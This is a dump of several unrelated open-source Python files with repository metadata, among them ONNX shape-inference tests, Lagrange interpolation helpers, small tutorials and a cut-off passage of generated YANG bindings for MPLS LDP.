['x', 'k'], ['y'])], [], initializer=[make_tensor('k', TensorProto.INT64, (), (2,))]) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (3, 4, 5))]) # type: ignore def test_trilu_lower(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (3, 4, 5)), ('k', TensorProto.INT64, ())], [make_node('Trilu', ['x', 'k'], ['y'], upper=0)], [], initializer=[make_tensor('k', TensorProto.INT64, (), (10,))]) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (3, 4, 5))]) # type: ignore def test_trilu_upper_zero(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.INT64, (0, 5)), ('k', TensorProto.INT64, ())], [make_node('Trilu', ['x', 'k'], ['y'], upper=1)], [], initializer=[make_tensor('k', TensorProto.INT64, (), (5,))]) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.INT64, (0, 5))]) # type: ignore def test_trilu_lower_one(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.INT32, (3, 1, 5))], [make_node('Trilu', ['x'], ['y'], upper=0)], [],) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.INT32, (3, 1, 5))]) # type: ignore def test_batch_norm_train(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (3, 4, 5, 6, 7)), ('scale', TensorProto.FLOAT, (4,)), ('b', TensorProto.FLOAT, (4,)), ('input_mean', TensorProto.FLOAT, (4,)), ('input_var', TensorProto.FLOAT, (4,))], [make_node('BatchNormalization', ['x', 'scale', 'b', 'input_mean', 'input_var'], ['out', 'output_mean', 'output_var'], training_mode=1)], []) self._assert_inferred(graph, [make_tensor_value_info('out', TensorProto.FLOAT, (3, 4, 5, 6, 7)), # type: ignore make_tensor_value_info('output_mean', TensorProto.FLOAT, (4,)), # type: ignore make_tensor_value_info('output_var', TensorProto.FLOAT, (4,)), # type: ignore ]) def test_batch_norm_train_dim_param(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (3, 'C', 5, 6, 7)), ('scale', TensorProto.FLOAT, ('C',)), ('b', TensorProto.FLOAT, ('C',)), ('input_mean', TensorProto.FLOAT, ('C',)), ('input_var', TensorProto.FLOAT, ('C',))], [make_node('BatchNormalization', ['x', 'scale', 'b', 'input_mean', 'input_var'], ['out', 'output_mean', 'output_var'], training_mode=1)], []) self._assert_inferred(graph, [make_tensor_value_info('out', TensorProto.FLOAT, (3, 'C', 5, 6, 7)), # type: ignore make_tensor_value_info('output_mean', TensorProto.FLOAT, ('C',)), # type: ignore make_tensor_value_info('output_var', TensorProto.FLOAT, ('C',)), # type: ignore ]) def test_batch_norm_train_with_diff_type(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT16, (3, 4, 5, 6, 7)), ('scale', TensorProto.FLOAT16, (4,)), ('b', TensorProto.FLOAT16, (4,)), ('input_mean', TensorProto.FLOAT, (4,)), ('input_var', TensorProto.FLOAT, (4,))], [make_node('BatchNormalization', ['x', 'scale', 'b', 'input_mean', 'input_var'], ['out', 'output_mean', 'output_var'], training_mode=1)], []) self._assert_inferred(graph, [make_tensor_value_info('out', TensorProto.FLOAT16, (3, 4, 5, 6, 7)), # type: ignore make_tensor_value_info('output_mean', TensorProto.FLOAT, (4,)), # type: ignore make_tensor_value_info('output_var', TensorProto.FLOAT, (4,)), # type: ignore ]) def test_batch_norm_test(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (3, 4, 5, 6, 7)), ('scale', TensorProto.FLOAT, (4,)), ('b', TensorProto.FLOAT, (4,)), ('input_mean', TensorProto.FLOAT, (4,)), ('input_var', TensorProto.FLOAT, (4,))], [make_node('BatchNormalization', ['x', 'scale', 'b', 'input_mean', 'input_var'], ['out'], training_mode=0)], []) self._assert_inferred(graph, [make_tensor_value_info('out', TensorProto.FLOAT, (3, 4, 5, 6, 7))]) # type: ignore def test_batch_norm_test_no_dim(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (3, 4, None, None, None)), ('scale', TensorProto.FLOAT, (4,)), ('b', TensorProto.FLOAT, (4,)), ('input_mean', TensorProto.FLOAT, (None,)), ('input_var', TensorProto.FLOAT, (4,))], [make_node('BatchNormalization', ['x', 'scale', 'b', 'input_mean', 'input_var'], ['out'], training_mode=0)], []) self._assert_inferred(graph, [make_tensor_value_info('out', TensorProto.FLOAT, (3, 4, None, None, None))]) # type: ignore def test_batch_norm_train_no_shape(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, None), ('scale', TensorProto.FLOAT, None), ('b', TensorProto.FLOAT, None), ('input_mean', TensorProto.FLOAT, ('C',)), ('input_var', TensorProto.FLOAT, ('C',))], [make_node('BatchNormalization', ['x', 'scale', 'b', 'input_mean', 'input_var'], ['out', 'running_mean', 'running_var'], training_mode=1)], []) self._assert_inferred(graph, [make_tensor_value_info('out', TensorProto.FLOAT, None), # type: ignore make_tensor_value_info('running_mean', TensorProto.FLOAT, ('C',)), # type: ignore make_tensor_value_info('running_var', TensorProto.FLOAT, ('C',)), # type: ignore ]) def test_nonzero(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (None,))], [make_node('NonZero', ['x'], ['out'])], []) self._assert_inferred(graph, [make_tensor_value_info('out', TensorProto.INT64, (1, None))]) # type: ignore def test_nonzero_no_shape(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, None)], [make_node('NonZero', ['x'], ['out'])], []) self._assert_inferred(graph, [make_tensor_value_info('out', TensorProto.INT64, (None, None))]) # type: ignore if __name__ == '__main__': unittest.main()

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6a758cd50cdfc0074a1a2835523922bebd495681

176

py

Python

t_5_data_structures/t_5_1_2_using_lists_as_queues/__init__.py

naokiur/Python-tutorial

7b03dc8fd2e5992859fde00bfe2873b4fb7ca5e5

[ "Apache-2.0" ]

null

t_5_data_structures/t_5_1_2_using_lists_as_queues/__init__.py

naokiur/Python-tutorial

7b03dc8fd2e5992859fde00bfe2873b4fb7ca5e5

[ "Apache-2.0" ]

null

t_5_data_structures/t_5_1_2_using_lists_as_queues/__init__.py

naokiur/Python-tutorial

7b03dc8fd2e5992859fde00bfe2873b4fb7ca5e5

[ "Apache-2.0" ]

null

from collections import deque queue = deque(["Eric", "John", "Michel"]) queue.append("Terry") queue.append("Graham") print(queue.popleft()) print(queue.popleft()) print(queue)

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6a7c82a4a8c2dae640ab84968d58bc2e56f094ba

37

py

Python

BackendFunctionalModule/tracking/test_service.py

futurewei-cloud/unno

9a320190e5efb535cb593ffc9c4ca417311be2a1

[ "Apache-2.0" ]

1

2019-12-10T03:28:17.000Z

BackendFunctionalModule/tracking/test_service.py

futurewei-cloud/unno

9a320190e5efb535cb593ffc9c4ca417311be2a1

[ "Apache-2.0" ]

3

2021-05-10T21:59:10.000Z

2022-02-18T17:15:15.000Z

BackendFunctionalModule/tracking/test_service.py

futurewei-cloud/unno

9a320190e5efb535cb593ffc9c4ca417311be2a1

[ "Apache-2.0" ]

null

# TODO: write a test for the service

18.5

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0

6

6aa55ba8095f10d9bfef438f597d358a7e69449b

2,182

py

Python

capd_short/dae_v2/collocation_funcs/lagrange_f.py

BieglersGroup/dae_pyomo

e12906da66d4c3d29aa2da42d067d2649a432b96

[ "MIT" ]

null

capd_short/dae_v2/collocation_funcs/lagrange_f.py

BieglersGroup/dae_pyomo

e12906da66d4c3d29aa2da42d067d2649a432b96

[ "MIT" ]

null

capd_short/dae_v2/collocation_funcs/lagrange_f.py

BieglersGroup/dae_pyomo

e12906da66d4c3d29aa2da42d067d2649a432b96

[ "MIT" ]

null

# -*- coding: utf-8 -*- from __future__ import division from capd_short.dae_v2.collocation_funcs.cpoinsc import collptsgen """ Lagrange interpolating polynomials by David M Thierry contains lgr, lgry, lgrdot, lgrydot 10/11/2016 """ __author__ = 'David M Thierry' def lgr(j, tau, kord, alp, bet): tauk = collptsgen(kord, alp, bet) tauk.reverse() tauk.append(0.) tauk.reverse() out = 1 for k in range(0, kord + 1): if j != k: out *= (tau - tauk[k]) / (tauk[j] - tauk[k]) return out def lgry(j, tau, kord, alp, bet): tauk = collptsgen(kord, alp, bet) tauk.reverse() tauk.append(0.) tauk.reverse() out = 1 # for legendre [0, K-1] if j == 0: return 0 else: for k in range(1, kord + 1): if j != k: out *= (tau - tauk[k]) / (tauk[j] - tauk[k]) return out def lgrdot(j, tau, kord, alp, bet): tauk = collptsgen(kord, alp, bet) tauk.reverse() tauk.append(0.) tauk.reverse() out1 = 1 for k in range(0, kord + 1): if k != j: out1 *= 1 / (tauk[j] - tauk[k]) out2 = 1 out3 = 0 for m in range(0, kord + 1): if m != j: out2 = 1 # initialize multiplication for n in range(0, kord + 1): if n != m and n != j: out2 *= tau - tauk[n] # elif n == j: # print ("we've got a problem here") out3 += out2 out = out3 * out1 return out def lgrydot(j, tau, kord, alp, bet): tauk = collptsgen(kord, alp, bet) tauk.reverse() tauk.append(0.) tauk.reverse() out1 = 1 for k in range(1, kord + 1): if k != j: out1 *= 1 / (tauk[j] - tauk[k]) out2 = 1 out3 = 0 for m in range(1, kord + 1): if m != j: out2 = 1 # initialize multiplication for n in range(1, kord + 1): if n != m and n != j: out2 *= tau - tauk[n] # elif n == j: # print ("we've got a problem here") out3 += out2 out = out3 * out1 return out

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0.384051

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null

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6

6aadbc45b83c455ccaf1d4e3d2f7589088c3a104

24

py

Python

bgflow/nn/training/__init__.py

michellab/bgflow

46c1f6035a7baabcbaee015603d08b8ce63d9717

[ "MIT" ]

42

2021-04-22T13:32:00.000Z

2022-03-31T12:26:12.000Z

vae_lm/training/__init__.py

Nemexur/nonauto-lm

6f237e4fc2b3b679cd92126ea5facd58d3cf6e75

[ "Apache-2.0" ]

29

2021-05-09T01:02:43.000Z

2022-02-21T18:30:42.000Z

vae_lm/training/__init__.py

Nemexur/nonauto-lm

6f237e4fc2b3b679cd92126ea5facd58d3cf6e75

[ "Apache-2.0" ]

14

2021-05-03T11:37:20.000Z

2022-03-09T15:49:54.000Z

from .trainers import *

12

23

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24

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1

0

0.166667

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1

24

0.9

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true

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null

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1

0

1

0

1

0

6

6ab81635df5920a5b735866bcaacc5509d455554

156

py

Python

7KYU/int_diff.py

yaznasivasai/python_codewars

25493591dde4649dc9c1ec3bece8191a3bed6818

[ "MIT" ]

4

2021-07-17T22:48:03.000Z

2022-03-25T14:10:58.000Z

7KYU/int_diff.py

yaznasivasai/python_codewars

25493591dde4649dc9c1ec3bece8191a3bed6818

[ "MIT" ]

null

7KYU/int_diff.py

yaznasivasai/python_codewars

25493591dde4649dc9c1ec3bece8191a3bed6818

[ "MIT" ]

3

2021-06-14T14:18:16.000Z

2022-03-16T06:02:02.000Z

from itertools import combinations def int_diff(lst: list, n: int) -> int: return sum([1 for i in list(combinations(lst, 2)) if abs(i[0]-i[1]) == n])

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0.653846

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156

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0.03125

0.179487

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null

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1

0

null

0

1

0

1

0

6

6acb7edae37ca02627abe7441a5bfadbcd5be320

60

py

Python

torchio/transforms/preprocessing/intensity/__init__.py

nwschurink/torchio

9cb4319200ca328102a370d58b39be1c3b0b4cdc

[ "MIT" ]

1

2021-05-18T09:36:35.000Z

torchio/transforms/preprocessing/intensity/__init__.py

nwschurink/torchio

9cb4319200ca328102a370d58b39be1c3b0b4cdc

[ "MIT" ]

null

torchio/transforms/preprocessing/intensity/__init__.py

nwschurink/torchio

9cb4319200ca328102a370d58b39be1c3b0b4cdc

[ "MIT" ]

1

2022-01-12T06:41:26.000Z

from .normalization_transform import NormalizationTransform

30

59

0.916667

5

60

10.8

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null

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1

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1

0

1

0

6

6ad0ddf6f41eff4ba2419d03fac1f270f25d0078

35

py

Python

pitop/miniscreen/__init__.py

pi-top/pi-top-Python-SDK

6c83cc5f612d77f86f8d391c7f2924a28f7b1232

[ "Apache-2.0" ]

28

2020-11-24T08:02:58.000Z

2022-02-27T18:37:33.000Z

pitop/miniscreen/__init__.py

pi-top/pi-top-Python-SDK

6c83cc5f612d77f86f8d391c7f2924a28f7b1232

[ "Apache-2.0" ]

263

2020-11-10T14:35:10.000Z

2022-03-31T12:35:13.000Z

pitop/miniscreen/__init__.py

pi-top/pi-top-Python-SDK

6c83cc5f612d77f86f8d391c7f2924a28f7b1232

[ "Apache-2.0" ]

1

2022-01-31T22:48:35.000Z

from .miniscreen import Miniscreen

17.5

34

0.857143

4

35

7.5

0.75

0

0.114286

35

1

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0.967742

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null

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1

0

1

0

1

0

6

0a97a4cc7c62b81e2bd054e9db24854d87e1bd05

152

py

Python

src/UnitTests/TestData/Grammar/YieldFromStmtIllegal.py

jamesralstin/python-language-server

53eb5886776c9e75590bf2f5a787ba4015879c4d

[ "Apache-2.0" ]

695

2019-05-06T23:49:37.000Z

2022-03-30T01:56:00.000Z

src/UnitTests/TestData/Grammar/YieldFromStmtIllegal.py

jamesralstin/python-language-server

53eb5886776c9e75590bf2f5a787ba4015879c4d

[ "Apache-2.0" ]

1,672

2019-05-06T21:09:38.000Z

2022-03-31T23:16:04.000Z

Python/Tests/TestData/Grammar/YieldFromStmtIllegal.py

RaymonGulati1/PTVS

ee1d09f2a94be4e21016f7579205bb65ec82c616

[ "Apache-2.0" ]

186

2019-05-13T03:17:37.000Z

2022-03-31T16:24:05.000Z

yield from 1 def f(): return 42 yield from 1 def f(): yield from 1 return 42 def f(): yield from def f(): yield from 1, 2, 3

10.133333

22

0.546053

28

152

2.964286

0.321429

0.542169

0.481928

0.46988

0.626506

0

0.103093

0.361842

152

15

22

10.133333

0.752577

0

0.818182

0

null

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null

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null

1

0

1

0

null

0

1

0

6

0a9f01f8e2ce9a244c1a27fe296a140b57b89afa

187

py

Python

pymcws/api/__init__.py

kenomaerz/pyMCWS

62236956888ea69873b8d2458b52b12c598b1681

[ "MIT" ]

8

2019-03-29T02:50:43.000Z

2022-01-28T22:45:04.000Z

pymcws/api/__init__.py

kenomaerz/pyMCWS

62236956888ea69873b8d2458b52b12c598b1681

[ "MIT" ]

7

2019-03-29T17:55:06.000Z

2021-12-16T21:05:50.000Z

pymcws/api/__init__.py

kenomaerz/pyMCWS

62236956888ea69873b8d2458b52b12c598b1681

[ "MIT" ]

2

2019-03-29T14:46:41.000Z

2020-05-21T16:37:09.000Z

from pymcws.utils import transform_unstructured_response def alive(media_server): response = media_server.send_request("Alive") return transform_unstructured_response(response)

26.714286

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1

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6

0ae61ef3062920cf67819906904a96a3a3e82676

24,613

py

Python

pybind/slxos/v16r_1_00b/mpls_state/ldp/fec/__init__.py

shivharis/pybind

4e1c6d54b9fd722ccec25546ba2413d79ce337e6

[ "Apache-2.0" ]

null

pybind/slxos/v16r_1_00b/mpls_state/ldp/fec/__init__.py

shivharis/pybind

4e1c6d54b9fd722ccec25546ba2413d79ce337e6

[ "Apache-2.0" ]

null

pybind/slxos/v16r_1_00b/mpls_state/ldp/fec/__init__.py

shivharis/pybind

4e1c6d54b9fd722ccec25546ba2413d79ce337e6

[ "Apache-2.0" ]

1

2021-11-05T22:15:42.000Z

from operator import attrgetter import pyangbind.lib.xpathhelper as xpathhelper from pyangbind.lib.yangtypes import RestrictedPrecisionDecimalType, RestrictedClassType, TypedListType from pyangbind.lib.yangtypes import YANGBool, YANGListType, YANGDynClass, ReferenceType from pyangbind.lib.base import PybindBase from decimal import Decimal from bitarray import bitarray import __builtin__ import ldp_fec_summary import ldp_fec_prefixes import ldp_fec_vcs import ldp_fec_prefix_longer import ldp_fec_vcid import ldp_fec_prefix_prefix class fec(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module brocade-mpls-operational - based on the path /mpls-state/ldp/fec. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: """ __slots__ = ('_pybind_generated_by', '_path_helper', '_yang_name', '_rest_name', '_extmethods', '__ldp_fec_summary','__ldp_fec_prefixes','__ldp_fec_vcs','__ldp_fec_prefix_longer','__ldp_fec_vcid','__ldp_fec_prefix_prefix',) _yang_name = 'fec' _rest_name = 'fec' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): path_helper_ = kwargs.pop("path_helper", None) if path_helper_ is False: self._path_helper = False elif path_helper_ is not None and isinstance(path_helper_, xpathhelper.YANGPathHelper): self._path_helper = path_helper_ elif hasattr(self, "_parent"): path_helper_ = getattr(self._parent, "_path_helper", False) self._path_helper = path_helper_ else: self._path_helper = False extmethods = kwargs.pop("extmethods", None) if extmethods is False: self._extmethods = False elif extmethods is not None and isinstance(extmethods, dict): self._extmethods = extmethods elif hasattr(self, "_parent"): extmethods = getattr(self._parent, "_extmethods", None) self._extmethods = extmethods else: self._extmethods = False self.__ldp_fec_prefix_longer = YANGDynClass(base=YANGListType("prefix",ldp_fec_prefix_longer.ldp_fec_prefix_longer, yang_name="ldp-fec-prefix-longer", rest_name="ldp-fec-prefix-longer", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='prefix', extensions={u'tailf-common': {u'callpoint': u'mpls-ldp-fec-prefix-longer', u'cli-suppress-show-path': None}}), is_container='list', yang_name="ldp-fec-prefix-longer", rest_name="ldp-fec-prefix-longer", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'mpls-ldp-fec-prefix-longer', u'cli-suppress-show-path': None}}, namespace='urn:brocade.com:mgmt:brocade-mpls-operational', defining_module='brocade-mpls-operational', yang_type='list', is_config=False) self.__ldp_fec_prefix_prefix = YANGDynClass(base=ldp_fec_prefix_prefix.ldp_fec_prefix_prefix, is_container='container', presence=False, yang_name="ldp-fec-prefix-prefix", rest_name="ldp-fec-prefix-prefix", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'mpls-ldp-fec-prefix-prefix-ldp-fec-prefix-prefix-1'}}, namespace='urn:brocade.com:mgmt:brocade-mpls-operational', defining_module='brocade-mpls-operational', yang_type='container', is_config=False) self.__ldp_fec_vcid = YANGDynClass(base=YANGListType("vc_id",ldp_fec_vcid.ldp_fec_vcid, yang_name="ldp-fec-vcid", rest_name="ldp-fec-vcid", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='vc-id', extensions={u'tailf-common': {u'callpoint': u'mpls-ldp-fec-vcid', u'cli-suppress-show-path': None}}), is_container='list', yang_name="ldp-fec-vcid", rest_name="ldp-fec-vcid", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'mpls-ldp-fec-vcid', u'cli-suppress-show-path': None}}, namespace='urn:brocade.com:mgmt:brocade-mpls-operational', defining_module='brocade-mpls-operational', yang_type='list', is_config=False) self.__ldp_fec_summary = YANGDynClass(base=ldp_fec_summary.ldp_fec_summary, is_container='container', presence=False, yang_name="ldp-fec-summary", rest_name="ldp-fec-summary", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'mpls-ldp-fec-summary', u'cli-suppress-show-path': None}}, namespace='urn:brocade.com:mgmt:brocade-mpls-operational', defining_module='brocade-mpls-operational', yang_type='container', is_config=False) self.__ldp_fec_prefixes = YANGDynClass(base=ldp_fec_prefixes.ldp_fec_prefixes, is_container='container', presence=False, yang_name="ldp-fec-prefixes", rest_name="ldp-fec-prefixes", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'mpls-ldp-fec-prefixes', u'cli-suppress-show-path': None}}, namespace='urn:brocade.com:mgmt:brocade-mpls-operational', defining_module='brocade-mpls-operational', yang_type='container', is_config=False) self.__ldp_fec_vcs = YANGDynClass(base=ldp_fec_vcs.ldp_fec_vcs, is_container='container', presence=False, yang_name="ldp-fec-vcs", rest_name="ldp-fec-vcs", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'mpls-ldp-fec-vcs', u'cli-suppress-show-path': None}}, namespace='urn:brocade.com:mgmt:brocade-mpls-operational', defining_module='brocade-mpls-operational', yang_type='container', is_config=False) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return [u'mpls-state', u'ldp', u'fec'] def _rest_path(self): if hasattr(self, "_parent"): if self._rest_name: return self._parent._rest_path()+[self._rest_name] else: return self._parent._rest_path() else: return [u'mpls-state', u'ldp', u'fec'] def _get_ldp_fec_summary(self): """ Getter method for ldp_fec_summary, mapped from YANG variable /mpls_state/ldp/fec/ldp_fec_summary (container) """ return self.__ldp_fec_summary def _set_ldp_fec_summary(self, v, load=False): """ Setter method for ldp_fec_summary, mapped from YANG variable /mpls_state/ldp/fec/ldp_fec_summary (container) If this variable is read-only (config: false) in the source YANG file, then _set_ldp_fec_summary is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_ldp_fec_summary() directly. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=ldp_fec_summary.ldp_fec_summary, is_container='container', presence=False, yang_name="ldp-fec-summary", rest_name="ldp-fec-summary", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'mpls-ldp-fec-summary', u'cli-suppress-show-path': None}}, namespace='urn:brocade.com:mgmt:brocade-mpls-operational', defining_module='brocade-mpls-operational', yang_type='container', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """ldp_fec_summary must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=ldp_fec_summary.ldp_fec_summary, is_container='container', presence=False, yang_name="ldp-fec-summary", rest_name="ldp-fec-summary", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'mpls-ldp-fec-summary', u'cli-suppress-show-path': None}}, namespace='urn:brocade.com:mgmt:brocade-mpls-operational', defining_module='brocade-mpls-operational', yang_type='container', is_config=False)""", }) self.__ldp_fec_summary = t if hasattr(self, '_set'): self._set() def _unset_ldp_fec_summary(self): self.__ldp_fec_summary = YANGDynClass(base=ldp_fec_summary.ldp_fec_summary, is_container='container', presence=False, yang_name="ldp-fec-summary", rest_name="ldp-fec-summary", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'mpls-ldp-fec-summary', u'cli-suppress-show-path': None}}, namespace='urn:brocade.com:mgmt:brocade-mpls-operational', defining_module='brocade-mpls-operational', yang_type='container', is_config=False) def _get_ldp_fec_prefixes(self): """ Getter method for ldp_fec_prefixes, mapped from YANG variable /mpls_state/ldp/fec/ldp_fec_prefixes (container) """ return self.__ldp_fec_prefixes def _set_ldp_fec_prefixes(self, v, load=False): """ Setter method for ldp_fec_prefixes, mapped from YANG variable /mpls_state/ldp/fec/ldp_fec_prefixes (container) If this variable is read-only (config: false) in the source YANG file, then _set_ldp_fec_prefixes is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_ldp_fec_prefixes() directly. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=ldp_fec_prefixes.ldp_fec_prefixes, is_container='container', presence=False, yang_name="ldp-fec-prefixes", rest_name="ldp-fec-prefixes", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'mpls-ldp-fec-prefixes', u'cli-suppress-show-path': None}}, namespace='urn:brocade.com:mgmt:brocade-mpls-operational', defining_module='brocade-mpls-operational', yang_type='container', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """ldp_fec_prefixes must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=ldp_fec_prefixes.ldp_fec_prefixes, is_container='container', presence=False, yang_name="ldp-fec-prefixes", rest_name="ldp-fec-prefixes", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'mpls-ldp-fec-prefixes', u'cli-suppress-show-path': None}}, namespace='urn:brocade.com:mgmt:brocade-mpls-operational', defining_module='brocade-mpls-operational', yang_type='container', is_config=False)""", }) self.__ldp_fec_prefixes = t if hasattr(self, '_set'): self._set() def _unset_ldp_fec_prefixes(self): self.__ldp_fec_prefixes = YANGDynClass(base=ldp_fec_prefixes.ldp_fec_prefixes, is_container='container', presence=False, yang_name="ldp-fec-prefixes", rest_name="ldp-fec-prefixes", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'mpls-ldp-fec-prefixes', u'cli-suppress-show-path': None}}, namespace='urn:brocade.com:mgmt:brocade-mpls-operational', defining_module='brocade-mpls-operational', yang_type='container', is_config=False) def _get_ldp_fec_vcs(self): """ Getter method for ldp_fec_vcs, mapped from YANG variable /mpls_state/ldp/fec/ldp_fec_vcs (container) """ return self.__ldp_fec_vcs def _set_ldp_fec_vcs(self, v, load=False): """ Setter method for ldp_fec_vcs, mapped from YANG variable /mpls_state/ldp/fec/ldp_fec_vcs (container) If this variable is read-only (config: false) in the source YANG file, then _set_ldp_fec_vcs is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_ldp_fec_vcs() directly. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=ldp_fec_vcs.ldp_fec_vcs, is_container='container', presence=False, yang_name="ldp-fec-vcs", rest_name="ldp-fec-vcs", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'mpls-ldp-fec-vcs', u'cli-suppress-show-path': None}}, namespace='urn:brocade.com:mgmt:brocade-mpls-operational', defining_module='brocade-mpls-operational', yang_type='container', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """ldp_fec_vcs must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=ldp_fec_vcs.ldp_fec_vcs, is_container='container', presence=False, yang_name="ldp-fec-vcs", rest_name="ldp-fec-vcs", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'mpls-ldp-fec-vcs', u'cli-suppress-show-path': None}}, namespace='urn:brocade.com:mgmt:brocade-mpls-operational', defining_module='brocade-mpls-operational', yang_type='container', is_config=False)""", }) self.__ldp_fec_vcs = t if hasattr(self, '_set'): self._set() def _unset_ldp_fec_vcs(self): self.__ldp_fec_vcs = YANGDynClass(base=ldp_fec_vcs.ldp_fec_vcs, is_container='container', presence=False, yang_name="ldp-fec-vcs", rest_name="ldp-fec-vcs", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'mpls-ldp-fec-vcs', u'cli-suppress-show-path': None}}, namespace='urn:brocade.com:mgmt:brocade-mpls-operational', defining_module='brocade-mpls-operational', yang_type='container', is_config=False) def _get_ldp_fec_prefix_longer(self): """ Getter method for ldp_fec_prefix_longer, mapped from YANG variable /mpls_state/ldp/fec/ldp_fec_prefix_longer (list) """ return self.__ldp_fec_prefix_longer def _set_ldp_fec_prefix_longer(self, v, load=False): """ Setter method for ldp_fec_prefix_longer, mapped from YANG variable /mpls_state/ldp/fec/ldp_fec_prefix_longer (list) If this variable is read-only (config: false) in the source YANG file, then _set_ldp_fec_prefix_longer is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_ldp_fec_prefix_longer() directly. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGListType("prefix",ldp_fec_prefix_longer.ldp_fec_prefix_longer, yang_name="ldp-fec-prefix-longer", rest_name="ldp-fec-prefix-longer", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='prefix', extensions={u'tailf-common': {u'callpoint': u'mpls-ldp-fec-prefix-longer', u'cli-suppress-show-path': None}}), is_container='list', yang_name="ldp-fec-prefix-longer", rest_name="ldp-fec-prefix-longer", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'mpls-ldp-fec-prefix-longer', u'cli-suppress-show-path': None}}, namespace='urn:brocade.com:mgmt:brocade-mpls-operational', defining_module='brocade-mpls-operational', yang_type='list', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """ldp_fec_prefix_longer must be of a type compatible with list""", 'defined-type': "list", 'generated-type': """YANGDynClass(base=YANGListType("prefix",ldp_fec_prefix_longer.ldp_fec_prefix_longer, yang_name="ldp-fec-prefix-longer", rest_name="ldp-fec-prefix-longer", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='prefix', extensions={u'tailf-common': {u'callpoint': u'mpls-ldp-fec-prefix-longer', u'cli-suppress-show-path': None}}), is_container='list', yang_name="ldp-fec-prefix-longer", rest_name="ldp-fec-prefix-longer", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'mpls-ldp-fec-prefix-longer', u'cli-suppress-show-path': None}}, namespace='urn:brocade.com:mgmt:brocade-mpls-operational', defining_module='brocade-mpls-operational', yang_type='list', is_config=False)""", }) self.__ldp_fec_prefix_longer = t if hasattr(self, '_set'): self._set() def _unset_ldp_fec_prefix_longer(self): self.__ldp_fec_prefix_longer = YANGDynClass(base=YANGListType("prefix",ldp_fec_prefix_longer.ldp_fec_prefix_longer, yang_name="ldp-fec-prefix-longer", 